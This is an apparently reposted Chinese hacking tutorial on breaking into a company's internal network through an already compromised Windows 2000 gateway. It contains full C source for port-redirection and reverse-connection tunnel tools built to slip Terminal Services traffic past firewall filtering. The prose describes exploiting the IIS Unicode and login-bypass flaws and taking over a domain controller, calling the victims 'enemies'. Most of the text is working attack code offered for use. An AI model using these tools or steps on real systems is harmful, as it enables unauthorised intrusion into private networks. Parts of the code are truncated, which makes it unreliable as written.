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编程突破TCP/IP过滤防火墙进入内网

王朝other·作者佚名  2006-01-09
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来源:天极网

现在很多企业或者公司基本上网方式基本上都是申请一条连接到Internet的线路,宽带、DDN、ADSL、ISDN等等,然后用一台服务器做网关,服务器两块网卡,一块是连接到Internet,另一块是连接到内网的HUB或者交换机,然后内网的其他机器就可以通过网关连接到Internet。

也许有些人会这样想,我在内网之中,我们之间没有直接的连接,你没有办法攻击我。事实并非如此,在内网的机器同样可能遭受到来自Internet的攻击,当然前提是攻击者已经取得网关服务器的某些权限,呵呵,这是不是废话?其实,Internet上很多做网关的服务器并未经过严格的安全配置,要获取权限也不是想象中的那么难。

Ok!废话就不说了,切入正题。我们的目标是用我们的TermClient[M$终端服务客户端]连接到敌人内网的TermServer机器。M$的终端服务是一个很好的远程管理工具,不是吗?呵呵。没有做特别说明的话,文中提到的服务器OS都为windows 2000。服务器为Linux或其他的话,原理也差不多,把程序稍微修改就行了。

假设敌人网络拓扑如下图所示,没有安装防火墙或在网关服务器上做TCP/IP限制。

我们的目标是连接上敌人内网的Terminal Server[192.168.1.3],因为没有办法直接和他建立连接,那么只有先从它的网关服务器上下手了。假如敌人网关服务器是M$的windows 2k,IIS有Unicode漏洞[现在要找些有漏洞的机器太容易了,但我只是scripts kid,只会利用现成的漏洞做些简单的攻击:(555),那么我们就得到一个网关的shell了,我们可以在那上面运行我们的程序,虽然权限很低,但也可以做很多事情了。Ok!让我们来写一个做TCP socket数据转发的小程序,让敌人的网关服务器忠实的为我[202.1.1.1]和敌人内网的TermServer[192.168.1.3]之间转发数据。题外话:实际入侵过程是先取得网关服务器的权限,然后用他做跳板,进一步摸清它的内部网络拓扑结构,再做进一步的入侵,现在敌人的网络拓扑是我们给他设计的。

攻击流程如下:

<1>在网关服务器202.2.2.2运行我们的程序AgentGateWay,他监听TCP 3389端口[改成别的,那我们就要相应的修改TermClient了]等待我们去连接。

<2>我们202.1.1.1用TermClient连接到202.2.2.2:3389。

<3>202.2.2.2.接受202.1.1.1的连接,然后再建立一个TCP socket连接到自己内网的TermServer[192.168.1.3]

<4>这样我们和敌人内网的TermServer之间的数据通道就建好了,接下来网关就忠实的为我们转发数据啦。当我们连接到202.2.2.2:3389的时候,其实出来的界面是敌人内网的192.168.1.3,感觉怎么样?

程序代码如下:

/**********************************************************************

Module Name:AgentGateWay.c

Date:2001/4/15

CopyRight(c) eyas

说明:端口重定向工具,在网关上运行,把端口重定向到内网的IP、PORT,

就可以进入内网了

sock[0]==>sClient sock[1]==>sTarget

**********************************************************************/

#include

#include

#include "TCPDataRedird.c"

#define TargetIP TEXT("192.168.1.3")

#define TargetPort (int)3389

#define ListenPort (int)3389//监听端口

#pragma comment(lib,"ws2_32.lib")

int main()

{

WSADATA wsd;

SOCKET sListen=INVALID_SOCKET,//本机监听的socket

sock[2];

struct sockaddr_in Local,Client,Target;

int iAddrSize;

HANDLE hThreadC2T=NULL,//C2T=ClientToTarget

hThreadT2C=NULL;//T2C=TargetToClient

DWORD dwThreadID;

__try

{

if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)

{

printf("\nWSAStartup() failed:%d",GetLastError());

__leave;

}

sListen=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

if(sListen==INVALID_SOCKET)

{

printf("\nsocket() failed:%d",GetLastError());

__leave;

}

Local.sin_addr.s_addr=htonl(INADDR_ANY);

Local.sin_family=AF_INET;

Local.sin_port=htons(ListenPort);

Target.sin_family=AF_INET;

Target.sin_addr.s_addr=inet_addr(TargetIP);

Target.sin_port=htons(TargetPort);

if(bind(sListen,(struct sockaddr *)&Local,sizeof(Local))==SOCKET_ERROR)

{

printf("\nbind() failed:%d",GetLastError());

__leave;

}

if(listen(sListen,1)==SOCKET_ERROR)

{

printf("\nlisten() failed:%d",GetLastError());

__leave;

}

//scoket循环

while(1)

{

printf("\n\n*************Waiting Client Connect to**************\n\n");

iAddrSize=sizeof(Client);

//get socket sClient

sock[0]=accept(sListen,(struct sockaddr *)&Client,&iAddrSize);

if(sock[0]==INVALID_SOCKET)

{

printf("\naccept() failed:%d",GetLastError());

break;

}

printf("\nAccept client==>%s:%d",inet_ntoa(Client.sin_addr), ntohs(Client.sin_port));

//create socket sTarget

sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

if(sock[1]==INVALID_SOCKET)

{

printf("\nsocket() failed:%d",GetLastError());

__leave;

}

//connect to target port

if(connect(sock[1],(struct sockaddr *)&Target,sizeof(Target))==SOCKET_ERROR)

{

printf("\nconnect() failed:%d",GetLastError());

__leave;

}

printf("\nconnect to target 3389 success!");

//创建两个线程进行数据转发

hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);

hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);

//等待两个线程结束

WaitForSingleObject(hThreadC2T,INFINITE);

WaitForSingleObject(hThreadT2C,INFINITE);

CloseHandle(hThreadC2T);

CloseHandle(hThreadT2C);

closesocket(sock[1]);

closesocket(sock[0]);

printf("\n\n*****************Connection Close*******************\n\n");

}//end of sock外循环

}//end of try

__finally

{

if(sListen!=INVALID_SOCKET) closesocket(sListen);

if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);

if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);

if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);

if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);

WSACleanup();

}

return 0;

}

/*************************************************************************

Module:TCPDataRedird.c

Date:2001/4/16

CopyRight(c) eyas

HomePage:www.patching.net

Thanks to shotgun

说明:TCP socket数据转发,sock[0]==>sClient sock[1]==>sTarget

*************************************************************************/

#define BuffSize 20*1024 //缓冲区大小20k

//此函数负责从Client读取数据,然后转发给Target

DWORD WINAPI TCPDataC2T(SOCKET* sock)

{

int iRet,

ret=-1,//select 返回值

iLeft,

idx,

iSTTBCS=0;//STTBCS=SendToTargetBuffCurrentSize

char szSendToTargetBuff[BuffSize]=,

szRecvFromClientBuff[BuffSize]=;

fd_set fdread,fdwrite;

printf("\n\n*****************Connection Active*******************\n\n");

while(1)

{

FD_ZERO(&fdread);

FD_ZERO(&fdwrite);

FD_SET(sock[0],&fdread);

FD_SET(sock[1],&fdwrite);

if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)

{

printf("\nselect() failed:%d",GetLastError());

break;

}

//printf("\nselect() return value ret=%d",ret);

if(ret>0)

{

//sClinet可读,client有数据要发送过来

if(FD_ISSET(sock[0],&fdread))

{

//接收sock[0]发送来的数据

iRet=recv(sock[0],szRecvFromClientBuff,BuffSize,0);

if(iRet==SOCKET_ERROR)

{

printf("\nrecv() from sock[0] failed:%d",GetLastError());

break;

}

else if(iRet==0)

break;

printf("\nrecv %d bytes from sClinet.",iRet);

//把从client接收到的数据存添加到发往target的缓冲区

memcpy(szSendToTargetBuff+iSTTBCS,szRecvFromClientBuff,iRet);

//刷新发往target的数据缓冲区当前buff大小

iSTTBCS+=iRet;

//清空接收client数据的缓冲区

memset(szRecvFromClientBuff,0,BuffSize);

}

//sTarget可写,把从client接收到的数据发送到target

if(FD_ISSET(sock[1],&fdwrite))

{

//转发数据到target的3389端口

iLeft=iSTTBCS;

idx=0;

while(iLeft>0)

{

iRet=send(sock[1],&szSendToTargetBuff[idx],iLeft,0);

if(iRet==SOCKET_ERROR)

{

printf("\nsend() to target failed:%d",GetLastError());

break;

}

printf("\nsend %d bytes to target",iRet);

iLeft-=iRet;

idx+=iRet;

}

//清空缓冲区

memset(szSendToTargetBuff,0,BuffSize);

//重置发往target的数据缓冲区当前buff大小

iSTTBCS=0;

}

}//end of select ret

Sleep(1);

}//end of data send & recv循环

return 0;

}

//此函数负责从target读取数据,然后发送给client

DWORD WINAPI TCPDataT2C(SOCKET* sock)

{

int iRet,

ret=-1,//select 返回值

iLeft,

idx,

iSTCBCS=0;//STCBCS=SendToClientBuffCurrentSize

char szRecvFromTargetBuff[BuffSize]=,

szSendToClientBuff[BuffSize]=;

fd_set fdread,fdwrite;

while(1)

{

FD_ZERO(&fdread);

FD_ZERO(&fdwrite);

FD_SET(sock[0],&fdwrite);

FD_SET(sock[1],&fdread);

if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)

{

printf("\nselect() failed:%d",GetLastError());

break;

}

if(ret>0)

{

//sTarget可读,从target接收数据

if(FD_ISSET(sock[1],&fdread))

{

//接收target返回数据

iRet=recv(sock[1],szRecvFromTargetBuff,BuffSize,0);

if(iRet==SOCKET_ERROR)

{

printf("\nrecv() from target failed:%d",GetLastError());

break;

}

else if(iRet==0)

break;

printf("\nrecv %d bytes from target",iRet);

//把从target接收到的数据添加到发送到client的缓冲区

memcpy(szSendToClientBuff+iSTCBCS,szRecvFromTargetBuff,iRet);

//清空接收target返回数据缓冲区

memset(szRecvFromTargetBuff,0,BuffSize);

//刷新发送到client的数据缓冲区当前大小

iSTCBCS+=iRet;

}

//client可写,发送target返回数据到client

if(FD_ISSET(sock[0],&fdwrite))

{

//发送target返回数据到client

iLeft=iSTCBCS;

idx=0;

while(iLeft>0)

{

iRet=send(sock[0],&szSendToClientBuff[idx],iLeft,0);

if(iRet==SOCKET_ERROR)

{

printf("\nsend() to Client failed:%d",GetLastError());

break;

}

printf("\nsend %d bytes to Client",iRet);

iLeft-=iRet;

idx+=iRet;

}

//清空缓冲区

memset(szSendToClientBuff,0,BuffSize);

iSTCBCS=0;

}

}//end of select ret

Sleep(1);

}//end of while

return 0;

}

利用TCP socket转发和反弹TCP端口进入有防火墙保护的内网

事实上很多内网没有上面所说的那么简单啦,我们来看一个有防火墙保护的内网,前提是这个防火墙对反弹TCP端口不做限制,限制了的话,又另当别论了。假设网络拓扑如下:

上面的网络拓扑是我在一次对朋友公司网站授权入侵过程中遇到的。

〈1〉我自己处于公司内网192.168.0.2,通过公司网关202.1.1.1到Internet,但我是网关的admin:)。

〈2〉敌人[其实是friend啦]的网关OS是2k adv server,在外网网卡上做了TCP/IP限制,只开放了25,53,80,110,3306这几个TCP

PORT,通过一个漏洞,我得到了一个shell,可以通过IE来执行系统命令,虽然权限很低。网关有终端服务,登陆验证漏洞补丁未安装,但输入法帮助文件已经被删除了,但是我们可以通过shell把输入法帮助文件upload上去,因为他的系统权限没有设置好,我们可以写,呵呵。这样的话,我们只要能够连接到他的终端服务上去,我们就能绕过登陆验证,得到admin权限了。如何连接?有办法,用TCP

socket转发。和第一部分说的一样吗?有些不同。因为他做了TCP/IP限制,我们不能连接他,只能让他来连接我们了,TCP反弹端口,呵呵。

攻击流程如下:

〈1〉在我的服务器202.1.1.1运行AgentMaster,监听TCP PORT 12345,等待202.2.2.2来连接,监听TCP PORT 3389,等待我192.168.0.2连接。

〈2〉在敌人网关机器202.2.2.2运行AgentSlave,连接到202.1.1.1 TCP PORT 12345[注意:是反弹端口,TCP/IP过滤也拿他没办法]

〈3〉我自己192.168.0.2用TermClient连接到自己的服务器202.1.1.1:3389

〈4〉敌人网关上的AgentSlave连接到自己本身在内网的IP==〉192.168.1.1:3389

〈5〉数据通道就建立好啦。两个代理忠实的为我们转发数据,呵呵。当我们连接自己服务器的3389,其实出来的是敌人内网的某台机器。

后来发现敌人的主域控制器是192.168.1.4,通过前面与他网关建立的连接,利用一个漏洞轻易的取得主域的admin权限,呵呵。他可能认为主域在内网,网关又做了TCP/IP过滤,攻击者没有办法进入。我只要把AgentSlave设置为连接192.168.1.4:3389,以后就可以直接连接他的主域控制器啦,不过在网关登陆也一样。

程序代码如下[程序中所用到的TCPDataRedird.c已经贴在第一部分,那个文件做数据转发,通用的:

/******************************************************************************

Module Name:AgentMaster.c

Date:2001/4/16

CopyRight(c) eyas

说明:scoket代理主控端,负责监听两个TCP socket,等待攻击者和AgentSlave来连接,两个

scoket都连接成功后,开始转发数据

sock[0]是client==〉sock[0] sock[1]是target==〉sock[1]

******************************************************************************/

#include 〈stdio.h〉

#include 〈winsock2.h〉

#include "TCPDataRedird.c"

#pragma comment(lib,"ws2_32.lib")

#define TargetPort 3389//伪装的target的监听端口

#define LocalPort 12345//等待AgentSlave来connect的端口

int main()

{

WSADATA wsd;

SOCKET s3389=INVALID_SOCKET,//本机监听的socket,等待攻击者连接

s1981=INVALID_SOCKET,//监听的socket,等待AgentSlave来连接

sock[2]=;

struct sockaddr_in Local3389,Local1981,Attack,Slave;

int iAddrSize;

HANDLE hThreadC2T=NULL,//C2T=ClientToTarget

hThreadT2C=NULL;//T2C=TargetToClient

DWORD dwThreadID;

__try

{

//load winsock library

if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)

{

printf("\nWSAStartup() failed:%d",GetLastError());

__leave;

}

//create socket

s3389=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

if(s3389==INVALID_SOCKET)

{

printf("\nsocket() failed:%d",GetLastError());

__leave;

}

//create socket

s1981=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

if(s1981==INVALID_SOCKET)

{

printf("\nsocket() failed:%d",GetLastError());

__leave;

}

//fill the struct

Local3389.sin_addr.s_addr=htonl(INADDR_ANY);

Local3389.sin_family=AF_INET;

Local3389.sin_port=htons(TargetPort);

Local1981.sin_addr.s_addr=htonl(INADDR_ANY);

Local1981.sin_family=AF_INET;

Local1981.sin_port=htons(LocalPort);

//bind s3389 for attacker

if(bind(s3389,(struct sockaddr *)&Local3389,sizeof(Local3389))==SOCKET_ERROR)

{

printf("\nbind() failed:%d",GetLastError());

__leave;

}

//listen for attacker to connect

if(listen(s3389,1)==SOCKET_ERROR)

{

printf("\nlisten() failed:%d",GetLastError());

__leave;

}

//bind s1981 for AgentSlave

if(bind(s1981,(struct sockaddr *)&Local1981,sizeof(Local1981))==SOCKET_ERROR)

{

printf("\nbind() failed:%d",GetLastError());

__leave;

}

//listen for AgentSlave to connect

if(listen(s1981,1)==SOCKET_ERROR)

{

printf("\nlisten() failed:%d",GetLastError());

__leave;

}

//socket循环

while(1)

{

//wait for AgentSlave to connect

iAddrSize=sizeof(Slave);

sock[1]=accept(s1981,(struct sockaddr *)&Slave,&iAddrSize);

if(sock[1]==INVALID_SOCKET)

{

printf("\naccept() failed:%d",GetLastError());

break;

}

printf("\nAccept AgentSlave==〉%s:%d",inet_ntoa(Slave.sin_addr), ntohs(Slave.sin_port));

//wait for Attacker to connect

iAddrSize=sizeof(Attack);

sock[0]=accept(s3389,(struct sockaddr *)&Attack,&iAddrSize);

if(sock[0]==INVALID_SOCKET)

{

printf("\naccept() failed:%d",GetLastError());

break;

}

printf("\nAccept Attacker==〉%s:%d",inet_ntoa(Attack.sin_addr), ntohs(Attack.sin_port));

//创建两个线程进行数据转发

hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);

hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);

//等待两个线程结束

WaitForSingleObject(hThreadC2T,INFINITE);

CloseHandle(hThreadC2T);

CloseHandle(hThreadT2C);

closesocket(sock[0]);

closesocket(sock[1]);

}//end of socket while

}//end of try

__finally

{

//clean all

if(s3389!=INVALID_SOCKET) closesocket(s3389);

if(s1981!=INVALID_SOCKET) closesocket(s1981);

if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);

if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);

if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);

if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);

WSACleanup();

}

return 0;

}

/***********************************************************************************

Module:AgentSlave.c

Date:2001/4/17

Copyright(c)eyas

HomePage:www.patching.net

说明:这个程序负责连接最终目标,连接主控端,然后转发数据

这里连接到AgenrMaster的socket相当与sClient==〉sock[0],

连接到最终目标的socoket是sTarget==〉sock[1]

***********************************************************************************/

#include 〈stdio.h〉

#include 〈winsock2.h〉

#include "TCPDataRedird.c"

#pragma comment(lib,"ws2_32.lib")

#define TargetIP "192.168.1.3"

#define TargetPort (int)3389

#define AgentMasterIP "202.1.1.1"

#define AgentMasterPort (int)12345

int main()

{

WSADATA wsd;

SOCKET sock[2]=;

struct sockaddr_in Master,Target;

HANDLE hThreadC2T=NULL,//C2T=ClientToTarget

hThreadT2C=NULL;//T2C=TargetToClient

DWORD dwThreadID;

__try

{

//load winsock library

if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)

{

printf("\nWSAStartup() failed:%d",GetLastError());

__leave;

}

//循环

while(1)

{

//create client socket

sock[0]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

if(sock[0]==INVALID_SOCKET)

{

printf("\nsocket() failed:%d",GetLastError());

__leave;

}

//create target socket

sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

if(sock[1]==INVALID_SOCKET)

{

printf("\nsocket() failed:%d",GetLastError());

__leave;

}

//fill struct

Target.sin_family=AF_INET;

Target.sin_addr.s_addr=inet_addr(TargetIP);

Target.sin_port=htons(TargetPort);

Master.sin_family=AF_INET;

Master.sin_addr.s_addr=inet_addr(AgentMasterIP);

Master.sin_port=htons(AgentMasterPort);

//connect to AgentMaster

if(connect(sock[0],(struct sockaddr *)&Master,sizeof(Master))==SOCKET_ERROR)

{

//连接失败后,等待一会儿再连

printf("\nconnect() to master failed:%d",GetLastError());

closesocket(sock[0]);

closesocket(sock[1]);

Sleep(5000);

continue;

}

printf("\nconnect to %s %d success!",AgentMasterIP,AgentMasterPort);

//connect to target

if(connect(sock[1],(struct sockaddr *)&Target,sizeof(Target))==SOCKET_ERROR)

{

printf("\nconnect() to target failed:%d",GetLastError());

__leave;

}

printf("\nconnect to %s %d success!",TargetIP,TargetPort);

//创建两个线程进行数据转发

hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);

hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);

//等待两个线程结束

WaitForSingleObject(hThreadC2T,INFINITE);

CloseHandle(hThreadC2T);

CloseHandle(hThreadT2C);

closesocket(sock[0]);

closesocket(sock[1]);

}//end of while

}//end of try

__finally

{

if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);

if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);

if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);

if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);

WSACleanup();

}

return 0;

}

 
 
 
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